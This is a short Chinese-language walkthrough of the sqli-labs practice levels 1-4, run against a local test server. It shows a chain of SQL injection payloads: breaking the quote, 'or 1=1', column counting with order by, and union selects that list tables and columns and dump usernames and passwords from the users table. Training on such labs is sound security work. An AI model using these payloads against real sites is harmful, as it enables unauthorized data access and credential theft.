sqli-labs 1-4关 涉及的知识点
Less-1 到Less-4 基础知识注入
我们可以在 http://127.0.0.1/sqllib/Less-1/?id=1 后面直接添加一个 ‘ ,来看一下效果:
从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1,
多加了一个 ’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何
将多余的 ‘ 去掉呢?
尝试 ‘or 1=1--+
可以看到数据成功返回
我们通过order by 来确定当前有几列
order by 3,超过 3 就会报错。
‘order by 4--+的结果显示结果超出。
在利用 union 去增加显示
http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2,3--+
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。
可以构造
http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2,database() --+
返回当前 连接数据库
在返回当前数据库的所有表
select 1,2,group_concat(table_name) from information_schema.COLUMNS where table_schema=database()
在返回表的所有字段
select 1,2,group_concat(COLUMN_name) from information_schema.COLUMNS where table_schema=database() and table_name='users'
更具返回的表查询相应的数据
select 1,group_concat(username),group_concat(password) from users
以上的1-4关的步骤差不多
Less-2 数字型 ,Less-3 有一个')括号 Less-4 ")